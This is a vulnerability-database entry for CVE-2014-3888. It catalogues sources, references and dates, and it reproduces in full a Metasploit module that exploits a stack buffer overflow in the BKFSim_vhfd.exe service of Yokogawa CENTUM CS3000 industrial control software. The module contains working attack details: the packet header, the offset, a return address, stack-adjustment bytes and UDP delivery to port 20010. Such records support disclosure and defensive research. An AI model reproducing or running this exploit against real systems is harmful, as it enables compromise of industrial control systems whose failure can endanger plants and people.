ID

VAR-E-201407-0158


CVE

cve_id:CVE-2014-3888

Trust: 3.0

sources: BID: 68428 // PACKETSTORM: 127382 // EXPLOIT-DB: 34009 // EDBNET: 55393 // EDBNET: 22140

EDB ID

34009


TITLE

Yokogawa CS3000 - 'BKFSim_vhfd.exe' Remote Buffer Overflow (Metasploit) - Windows remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 34009

DESCRIPTION

Yokogawa CS3000 - 'BKFSim_vhfd.exe' Remote Buffer Overflow (Metasploit). CVE-2014-3888CVE-108756 . remote exploit for Windows platform

Trust: 0.6

sources: EXPLOIT-DB: 34009

AFFECTED PRODUCTS

vendor:yokogawamodel:cs3000scope: - version: -

Trust: 1.0

vendor:yokogawamodel:cs3000 bkfsim vhfd.exescope: - version: -

Trust: 0.5

sources: PACKETSTORM: 127382 // EXPLOIT-DB: 34009

EXPLOIT

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Udp

def initialize(info = {})
super(update_info(info,
'Name' => 'Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow',
'Description' => %q{
This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability
exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create
logs using functions like vsprintf and memcpy in a insecure way. This module has been
tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3.
},
'Author' =>
[
'Redsadic <julian.vilas[at]gmail.com>',
'juan vazquez'
],
'References' =>
[
['CVE', '2014-3888'],
['URL', 'http://jvn.jp/vu/JVNVU95045914/index.html'],
['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0002E.pdf'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/07/07/r7-2014-06-disclosure-yokogawa-centum-cs-3000-bkfsimvhfdexe-buffer-overflow']
],
'Payload' =>
{
'Space' => 1770, # 2228 (max packet length) - 16 (header) - (438 target['Offset']) - 4 (ret)
'DisableNops' => true,
'BadChars' => "\x00",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3',
{
'Ret' => 0x61e55c9c, # push esp | ret # LibBKCCommon.dll
'Offset' => 438
}
],
],
'DisclosureDate' => 'May 23 2014',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(20010)
], self.class)
end

def exploit
connect_udp

sploit = "\x45\x54\x56\x48\x01\x01\x10\x09\x00\x00\x00\x01\x00\x00\x00\x44" # header
sploit << rand_text(target['Offset'])
sploit << [target.ret].pack("V")
sploit << payload.encoded

print_status("Trying target #{target.name}, sending #{sploit.length} bytes...")
udp_sock.put(sploit)

disconnect_udp
end

end

Trust: 1.0

sources: EXPLOIT-DB: 34009

EXPLOIT LANGUAGE

rb

Trust: 0.6

sources: EXPLOIT-DB: 34009

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 34009

TYPE

'BKFSim_vhfd.exe' Remote Buffer Overflow (Metasploit)

Trust: 1.0

sources: EXPLOIT-DB: 34009

TAGS

tag:Metasploit Framework (MSF)

Trust: 1.0

tag:exploit

Trust: 0.5

tag:overflow

Trust: 0.5

sources: PACKETSTORM: 127382 // EXPLOIT-DB: 34009

CREDITS

Metasploit

Trust: 0.6

sources: EXPLOIT-DB: 34009

EXTERNAL IDS

db:NVDid:CVE-2014-3888

Trust: 3.0

db:JVNid:JVNVU95045914

Trust: 2.7

db:EXPLOIT-DBid:34009

Trust: 1.6

db:EDBNETid:55393

Trust: 0.6

db:0DAYTODAYid:22415

Trust: 0.6

db:EDBNETid:22140

Trust: 0.6

db:PACKETSTORMid:127382

Trust: 0.5

db:BIDid:68428

Trust: 0.3

sources: BID: 68428 // PACKETSTORM: 127382 // EXPLOIT-DB: 34009 // EDBNET: 55393 // EDBNET: 22140

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2014-3888

Trust: 2.7

url:https://www.exploit-db.com/exploits/34009/

Trust: 0.6

url:https://0day.today/exploits/22415

Trust: 0.6

sources: PACKETSTORM: 127382 // EXPLOIT-DB: 34009 // EDBNET: 55393 // EDBNET: 22140

SOURCES

db:BIDid:68428
db:PACKETSTORMid:127382
db:EXPLOIT-DBid:34009
db:EDBNETid:55393
db:EDBNETid:22140

LAST UPDATE DATE

2022-07-27T09:58:44.945000+00:00


SOURCES UPDATE DATE

db:BIDid:68428date:2014-08-27T00:04:00

SOURCES RELEASE DATE

db:BIDid:68428date:2014-07-07T00:00:00
db:PACKETSTORMid:127382date:2014-07-07T21:21:29
db:EXPLOIT-DBid:34009date:2014-07-08T00:00:00
db:EDBNETid:55393date:2014-07-08T00:00:00
db:EDBNETid:22140date:2014-07-08T00:00:00